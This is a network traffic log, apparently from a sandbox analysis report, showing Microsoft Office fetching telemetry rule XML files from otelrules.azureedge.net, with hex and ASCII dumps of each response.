2024-11-24 01:14:27 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:27 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 1a8bda6d-001e-002b-2468-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011427Z-178bfbc474bmqmgjhC1NYCy16c00000005d0000000003utf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:28 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 00606c4f-d01e-0014-08c3-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011429Z-15b8b599d882hxlwhC1TEBfa5w00000003m000000000dfv7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:29 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:29 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: b3049c5e-001e-0082-330c-3d5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011429Z-178bfbc474bwlrhlhC1NYCy3kg000000055g00000000km69 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:29 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:29 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:29 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011429Z-174c587ffdfb5q56hC1TEB04kg00000003sg00000000066e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:29 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9d7b10d0-e01e-0099-63bc-3bda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011429Z-15b8b599d886w4hzhC1TEBb4ug00000003tg0000000096wy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:30 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:30 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3aa21312-901e-0016-730f-3defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011430Z-178bfbc474bpscmfhC1NYCfc2c00000003wg000000006rmv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:30 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:31 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a5f5ebba-f01e-003f-29f6-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011431Z-178bfbc474bh5zbqhC1NYCkdug000000053000000000k9zm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:31 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 80be2a3e-601e-003d-77f5-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011431Z-178bfbc474bvjk8shC1NYC83ns000000051g00000000ey8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:31 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:31 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: ce292e58-401e-00a3-2e0a-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011431Z-178bfbc474bv7whqhC1NYC1fg4000000057g00000000c5nq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 01:14:32 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:31 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 14aff01d-f01e-005d-5831-3d13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011432Z-174c587ffdf9xbcchC1TEBxkz400000003kg00000000byrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:32 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:32 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: c1df62f0-301e-0099-5a1b-3d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011432Z-178bfbc474bv587zhC1NYCny5w000000056g00000000413s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 01:14:32 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:14:33 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 01:14:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:33 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: efe1277d-c01e-008d-7f4b-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T011433Z-15b8b599d88g5tp8hC1TEByx6w00000003u0000000000sz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
